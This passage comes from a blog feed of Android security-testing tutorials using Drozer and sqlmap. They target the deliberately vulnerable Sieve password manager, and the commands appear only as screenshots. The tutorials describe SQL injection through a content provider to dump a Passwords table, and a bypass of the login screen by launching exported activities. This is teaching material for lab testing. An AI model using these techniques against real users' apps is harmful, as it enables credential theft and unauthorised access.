&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEielEEIdRdgnm4Kx0ah91Gi39h3Njy-VWLlShqNQd1qqvHgfESuwDkrw1a8eAkfYM4NGoJJIsW0NBEHejyWRjuY0QLwoTRi8J6ttuvsZvuH-nqfKdDqnH0Vs_hgT8NWmLCek6BIIMGv/s1600/webcontentresolver.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;51&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEielEEIdRdgnm4Kx0ah91Gi39h3Njy-VWLlShqNQd1qqvHgfESuwDkrw1a8eAkfYM4NGoJJIsW0NBEHejyWRjuY0QLwoTRi8J6ttuvsZvuH-nqfKdDqnH0Vs_hgT8NWmLCek6BIIMGv/s320/webcontentresolver.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Next navigate to http://localhost:1234 in your browser. You should see a list of content providers on the web page.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPhKrI-KKS-0BbhckXieki9NeU4PWWuRf2QSEvwC0fb6beWj1q3Ep2LVEzj2C3ZIE-s9tFADK2boLRt0fX78Bg0X30pLBZcIVf01bIenM6tTTlPLLNcBeu-3VqKsg_GesRFR9av2Fo/s1600/webcontent1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;165&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPhKrI-KKS-0BbhckXieki9NeU4PWWuRf2QSEvwC0fb6beWj1q3Ep2LVEzj2C3ZIE-s9tFADK2boLRt0fX78Bg0X30pLBZcIVf01bIenM6tTTlPLLNcBeu-3VqKsg_GesRFR9av2Fo/s400/webcontent1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
If you select the DBContentProvider/Passwords URI, you can then start to manipulate any parameters that are passed through the web interface to the back-end services. The example below shows an SQL error being returned by injecting a quote into the projection parameter.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5qUBehFKATXtDV45DnNBIv0PPAqwGU14nSpXqDy-JaWLXjd8y6wDHxt44tiJyG-QM191looC-LUNSU4y9VImVbp1jdhDkNVEfnm5jyppmFfJcX7NNsPcEuhhcfA_Ag7lYw9iFDYtY/s1600/sqlInjection.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;71&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5qUBehFKATXtDV45DnNBIv0PPAqwGU14nSpXqDy-JaWLXjd8y6wDHxt44tiJyG-QM191looC-LUNSU4y9VImVbp1jdhDkNVEfnm5jyppmFfJcX7NNsPcEuhhcfA_Ag7lYw9iFDYtY/s400/sqlInjection.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
We can fire up SQLmap and query the URI. The command below takes the URI and tries to manipulate the projection parameter in order to return the tables. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicDSixj0wVL2rI-ZtxvIB_icUsN7UuTICQvgypCW8XWzOj7jSwaqls4n2n5PFvG8e8vn5YkL3nWLXy2gHrgZiSBzciXq8LlprFuiF1e99Ll68MSSY7cAVpXm5_KBl-0J-FFYU5zbTm/s1600/sqlmap1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;38&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicDSixj0wVL2rI-ZtxvIB_icUsN7UuTICQvgypCW8XWzOj7jSwaqls4n2n5PFvG8e8vn5YkL3nWLXy2gHrgZiSBzciXq8LlprFuiF1e99Ll68MSSY7cAVpXm5_KBl-0J-FFYU5zbTm/s400/sqlmap1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
The results show 3 tables have been returned from the SQLite_masterdb.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDE05mFS_yUAJ15hK_avQwp_tuCCRtDOh2F0K530AWv06WeParFdUq8WjadCA8GSV4s5nzTKO2_pf-u06qjUHhmqdpjRRWyFiHFC2oHBPDhCSm0yJMqf9vlxbhPWxdbxkhD8r8TDzq/s1600/sqlmap2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;127&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDE05mFS_yUAJ15hK_avQwp_tuCCRtDOh2F0K530AWv06WeParFdUq8WjadCA8GSV4s5nzTKO2_pf-u06qjUHhmqdpjRRWyFiHFC2oHBPDhCSm0yJMqf9vlxbhPWxdbxkhD8r8TDzq/s320/sqlmap2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Finally we can dump the contents of the Passwords database.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQciuZgv62EFxWhytq-2P-QPvumzvBLwaDbOImP-auD-N4f7J-TSwLWxrQEf61323BFkfceay6-3ARFqNyak2GpIhJo6xJdSs5-gqdvo-fhGd7UKcUyubRwB8gng8zka6UvACvAwB-/s1600/dumptablePW.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;101&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQciuZgv62EFxWhytq-2P-QPvumzvBLwaDbOImP-auD-N4f7J-TSwLWxrQEf61323BFkfceay6-3ARFqNyak2GpIhJo6xJdSs5-gqdvo-fhGd7UKcUyubRwB8gng8zka6UvACvAwB-/s320/dumptablePW.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
References: https://labs.mwrinfosecurity.com/tools/webcontentresolver/&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://sqlmap.org/&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; http://blog.mdsec.co.uk/2015/02/the-mobile-application-hackers-handbook.html</description><link>http://thehackpot.blogspot.com/2015/07/android-hacking-insecure-content.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfrclhyXE1ZlKMoCcwUTSm9uI1XmJZKR4H25e6fw5cbLkSj5wsTyQUm0uxB7XycM1gqcuXT9cLSYVmOdIbMeOjRl0rSM0xMqBxgi6VO-W3wBn3jqohe8zu6xUaymn5jAYUHuOfHxAg/s72-c/attacksurface.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-9135718756984664775</guid><pubDate>Fri, 24 Jul 2015 13:58:00 +0000</pubDate><atom:updated>2015-07-24T20:42:19.764+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Android</category><category domain="http://www.blogger.com/atom/ns#">Drozer</category><title>Analyzing Android Applications Using Drozer</title><description>Before we start analyzing Android applications we need to understand the different aspects of the Android architecture.&lt;br /&gt;
&lt;br /&gt;
Android applications communicate with each other using an IPC (Inter-Process Communication) kernel module known as binder. The applications can make use of four components that can be invoked via calls to binder.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
&amp;nbsp;Android Components&lt;/h3&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Activities - An activity represents a single screen with a user interface. An example of an activity would be a login page.&lt;/li&gt;
&lt;li&gt;Services - A service is a component that runs in the background to perform long-running operations, it does not provide a UI. An example of a service might be music playing in the background while the user is in a different application.&lt;/li&gt;
&lt;li&gt;Broadcast Receivers - A broadcast receiver is a component that responds to system-wide broadcast announcements. A broadcast may announce that the battery is low or a picture was captured. Apps can also initiate broadcasts - for example to let other apps know that some data has been downloaded to the device and is available for them to use.&lt;/li&gt;
&lt;li&gt;Content Providers - A content provider supplies data from one application to others on request. You can store data in the file system, an SQLite database or any other persistent storage location the app can access.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
&lt;/h3&gt;
&lt;h3&gt;
Defining Components&lt;/h3&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Each Android Package contains a file named AndroidManifest.xml. This file contains various information such as the minimum Android version and the list of activities, services, broadcast receivers and content providers. Only components defined in the manifest file are usable within the application, the one exception are broadcast receivers.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
One of the important aspects of securing components in the manifest is to use strongly configured permissions.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
In Android a component is public when exported is set to true but it is also public if the manifest specifies an intent filter for it.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgetSrMXVmCpkhaRInw9Zz_goSWi1g_DlZRLkA6v3RpdqL6K2Ay5LAe5HCxDk-hGBVHEzydC4v6QV4N9j3FPKjixtjuX3gDBmlXatCUaDsVe8evLb5gxvGncXTuc5lvdZkXFUakadFQ/s1600/Exported.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;74&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgetSrMXVmCpkhaRInw9Zz_goSWi1g_DlZRLkA6v3RpdqL6K2Ay5LAe5HCxDk-hGBVHEzydC4v6QV4N9j3FPKjixtjuX3gDBmlXatCUaDsVe8evLb5gxvGncXTuc5lvdZkXFUakadFQ/s320/Exported.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;
Attacking Components&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;
In this tutorial we will use Drozer to analyze an Android application to determine what components are exported and if so how they can be attacked.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
We will use a deliberately vulnerable Android application created by MWR InfoSecurity called &lt;a href=&quot;https://www.mwrinfosecurity.com/products/drozer/community-edition/&quot; target=&quot;_blank&quot;&gt;Sieve&lt;/a&gt;&amp;nbsp;. Sieve is a password manager that allows a user to save passwords and makes use of a master password and pin to encrypt the passwords in the database.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii5Kdeab_0cmSMFWQmqqZq-yveGZasFkLroZNfhUxdD73EqMinjE2fO8mMTxtIDYzXAyEr5dHw2k2wmqN615juRXpMVWx1whmcOboZCS6Z80UDeugZwjF39V_Zy3BY9jJU9m92fEKg/s1600/Screenshot_2015-07-24-12-36-33.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEii5Kdeab_0cmSMFWQmqqZq-yveGZasFkLroZNfhUxdD73EqMinjE2fO8mMTxtIDYzXAyEr5dHw2k2wmqN615juRXpMVWx1whmcOboZCS6Z80UDeugZwjF39V_Zy3BY9jJU9m92fEKg/s320/Screenshot_2015-07-24-12-36-33.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;
Analyzing the Manifest File&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
After you install the application you can find the package name of the application by running the command below&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6fxHuOFjau2UVL1iaHetmEPMGHRv4TKzHIoC1yEEYWbZVjoAk3ZGtf3L8UiSjL_NB9r73mHAERehyphenhyphenJgLtyTy_UGkG3e2NibKqHxlK2uKIeSMIEOrnJ7pY5-296nuojt6j0Oh3fnuj/s1600/apppackage.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;57&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6fxHuOFjau2UVL1iaHetmEPMGHRv4TKzHIoC1yEEYWbZVjoAk3ZGtf3L8UiSjL_NB9r73mHAERehyphenhyphenJgLtyTy_UGkG3e2NibKqHxlK2uKIeSMIEOrnJ7pY5-296nuojt6j0Oh3fnuj/s200/apppackage.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Drozer allows for examination of the manifest file, the command below returns the whole manifest file&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwOrFQdANTGAaFIQnf4xdb3mRibcXGca70LD1w2kV1RNuQg0BWEmDj5mXPP1J858UG9O76ILl2oZU63Joo7sI-u4Rjc2mFSeKsmpPsoCsGJbAtJH-RouYt2Nw9WQjnaz5hY2e4scUu/s1600/manifest1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;230&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwOrFQdANTGAaFIQnf4xdb3mRibcXGca70LD1w2kV1RNuQg0BWEmDj5mXPP1J858UG9O76ILl2oZU63Joo7sI-u4Rjc2mFSeKsmpPsoCsGJbAtJH-RouYt2Nw9WQjnaz5hY2e4scUu/s320/manifest1.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
An easier way to check for exported components is to run the command below. We can see that there are 3 activities,2 content providers and 2 services exported.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicBlIxtArlig4Q0GF4LR5RvVI6EqmF_lUlJleYrzA1KG9xoIB-KapMdU7_Hb1slJpSLo8jl9bdXvEAQQl24ovQ5IULnCDnHlQK4WMCX5SVyXbM3EYez9AyT5y8QmUrfw9-oq31TwRT/s1600/attacksurface.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;81&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicBlIxtArlig4Q0GF4LR5RvVI6EqmF_lUlJleYrzA1KG9xoIB-KapMdU7_Hb1slJpSLo8jl9bdXvEAQQl24ovQ5IULnCDnHlQK4WMCX5SVyXbM3EYez9AyT5y8QmUrfw9-oq31TwRT/s320/attacksurface.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;
Exploiting Activities&lt;/h3&gt;
&lt;div&gt;
As mentioned earlier activities are individual user interfaces. Developers need to be careful when defining the activities to be exported in the manifest file. The Sieve application demonstrates how the application authentication page can be bypassed due to a misconfigured activity.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
We have determined that 3 activities have been exported, run the command below to identify the pages.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFFVSqXuBN-2DUn8BtOZ8pdrJQxkSc1MP80Va2_yTMY3ybU70Cja4vFiIzcOVGtINn1gvTRX-UZ9G5Aa64jrJ-juCZmA3y5_tlnp1zoAzyGI8iWBvejszN2s1nIm7GvC5qdRDdMrsZ/s1600/activity5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;101&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFFVSqXuBN-2DUn8BtOZ8pdrJQxkSc1MP80Va2_yTMY3ybU70Cja4vFiIzcOVGtINn1gvTRX-UZ9G5Aa64jrJ-juCZmA3y5_tlnp1zoAzyGI8iWBvejszN2s1nIm7GvC5qdRDdMrsZ/s320/activity5.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
When a user opens the Sieve application they must enter a master password and pin via the authentication page. We can try to bypass this page (MainLoginActivity) by calling one of the other activities. We can try to invoke the other activities using drozer.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNqQa47WsubmvY9h29jxvDmZyjx7Q0kK4lkJgmFF48r8c7coZDE7JuWdPve1jdtea2HYTMoMZd7bphyphenhyphenwIKt-Mnz1zXw0y6eYK-cilZgQ7rIBZYrE1ttSSEbr0r7mjs6mfER4OoBSGj/s1600/activity10.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;31&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNqQa47WsubmvY9h29jxvDmZyjx7Q0kK4lkJgmFF48r8c7coZDE7JuWdPve1jdtea2HYTMoMZd7bphyphenhyphenwIKt-Mnz1zXw0y6eYK-cilZgQ7rIBZYrE1ttSSEbr0r7mjs6mfER4OoBSGj/s400/activity10.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
By invoking this activity we have bypassed the authentication page without having to enter a password or pin.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5lgkOrwkLKFSwOR1CFljArWG0bDt1mPz86xwN7tDjgm8fYQbw0-cEOaBWFR6Stb4Nw0WtSFbJdbo7opF_rI_ReDaaFB3BkeZD_kRaleH-c8JXj3tmEN9Mh25OSwHSD14OTNsLhopC/s1600/Screenshot_2015-07-24-14-49-19.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5lgkOrwkLKFSwOR1CFljArWG0bDt1mPz86xwN7tDjgm8fYQbw0-cEOaBWFR6Stb4Nw0WtSFbJdbo7opF_rI_ReDaaFB3BkeZD_kRaleH-c8JXj3tmEN9Mh25OSwHSD14OTNsLhopC/s320/Screenshot_2015-07-24-14-49-19.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://thehackpot.blogspot.com/2015/07/analyzing-android-applications-using.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgetSrMXVmCpkhaRInw9Zz_goSWi1g_DlZRLkA6v3RpdqL6K2Ay5LAe5HCxDk-hGBVHEzydC4v6QV4N9j3FPKjixtjuX3gDBmlXatCUaDsVe8evLb5gxvGncXTuc5lvdZkXFUakadFQ/s72-c/Exported.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-904449839219173314</guid><pubDate>Fri, 24 Jul 2015 10:48:00 +0000</pubDate><atom:updated>2015-07-24T11:54:03.752+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Android</category><category domain="http://www.blogger.com/atom/ns#">Drozer</category><title>Android Security Testing - Introduction To Drozer</title><description>In this post we will look at the Drozer framework for performing Android security testing.&lt;br /&gt;
&lt;br /&gt;
Drozer allows you to assume the role of an Android app. and interact with other apps, through Androids Inter-Process Communication mechanism (IPC), and the underlying OS.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Drozer Components&lt;/h3&gt;
&lt;br /&gt;
Drozer comprises three components - Agent, Console and Server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;The Agent is an Android application that runs on your test device or emulator.&lt;/li&gt;
&lt;li&gt;The Console is a command-line interface that allows for interaction with the agent.&lt;/li&gt;
&lt;li&gt;The Server provides a central point where consoles and agents can rendezvous, and routes sessions between them.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Setup&lt;/h3&gt;
&lt;br /&gt;
For this tutorial we will use the Appie pentesting environment, you can read more about Appie&amp;nbsp;&lt;a href=&quot;https://manifestsecurity.com/appie/&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;&lt;br /&gt;
This is really useful as it comes packaged with lots of tools for performing Android security testing.&lt;br /&gt;
&lt;br /&gt;
The first step is to connect your device to your PC, you must ensure that USB Debugging is turned on as this facilitates a connection between the two.&lt;br /&gt;
&lt;br /&gt;
In order to get started we need to install the drozer agent on the Android device or emulator. The agent will be in the downloaded package, to install we will use ADB.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhafcBXLBy0vNiENdFIvMhgK9_SKLSfrTT7YjHAxUHYWnXXfIhPpbfdSLCx8d5AVOdpTBG4WftlXT_vun1tLN7LKFtVz2_FL34CGffEJhNq1JfhOB80O-yQwwsykNtovWqXiG3xKz98/s1600/installapp.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhafcBXLBy0vNiENdFIvMhgK9_SKLSfrTT7YjHAxUHYWnXXfIhPpbfdSLCx8d5AVOdpTBG4WftlXT_vun1tLN7LKFtVz2_FL34CGffEJhNq1JfhOB80O-yQwwsykNtovWqXiG3xKz98/s1600/installapp.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
The next step is to set up port forwarding from the device to the PC, the server on the drozer agent listens on TCP port 31415. To do this run the following command.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7IWq7-vcCtDpb2QqUW6LxrKuiizOXSQEI-ximsNjZQGjRQIkcpUBDmpljg0v2gSC_VUQdgl28deBK_8R-V3C-EMibbPHJWais__XYbXFEY16_tDNP1f89KMOMsfLOpFqNzKGwu5zE/s1600/startSession.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7IWq7-vcCtDpb2QqUW6LxrKuiizOXSQEI-ximsNjZQGjRQIkcpUBDmpljg0v2gSC_VUQdgl28deBK_8R-V3C-EMibbPHJWais__XYbXFEY16_tDNP1f89KMOMsfLOpFqNzKGwu5zE/s1600/startSession.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
You can now open the drozer agent on the device and turn on the embedded server.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfSV-cYzkI1urnqwfTiBCoeaSqhCrVFpyrXVmDp913oLN3lcqO39vxMwEcCzckar5o-G0YQLA2XflV_zrGn1hekKWjYtfRfekr0-3frQvLgs9Oy6NuIxfUsF8VYJhC9UDYK8x1poo1/s1600/Screenshot_2015-07-23-10-23-23.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfSV-cYzkI1urnqwfTiBCoeaSqhCrVFpyrXVmDp913oLN3lcqO39vxMwEcCzckar5o-G0YQLA2XflV_zrGn1hekKWjYtfRfekr0-3frQvLgs9Oy6NuIxfUsF8VYJhC9UDYK8x1poo1/s320/Screenshot_2015-07-23-10-23-23.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Now that the embedded server is turned on we can connect to the agent from the PC. You should see a command prompt as below.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvQFJo_VBaqYQarGH_NOSgRdVsn4M4GEEeVfZzoJxVe4mOj2_cmYSzcMLRR_yUJhyphenhyphenaf9906kqRicZ91hdktVhLqkUO0LNSInzZUGPnSp528fSlXuhZFf14JkPAiCfB7IxHAbxA2zZ-/s1600/startdrozer.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;202&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvQFJo_VBaqYQarGH_NOSgRdVsn4M4GEEeVfZzoJxVe4mOj2_cmYSzcMLRR_yUJhyphenhyphenaf9906kqRicZ91hdktVhLqkUO0LNSInzZUGPnSp528fSlXuhZFf14JkPAiCfB7IxHAbxA2zZ-/s320/startdrozer.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
The console allows you to run modules that are installed. In order to view the modules you can use the list command&lt;br /&gt;
&lt;br /&gt;
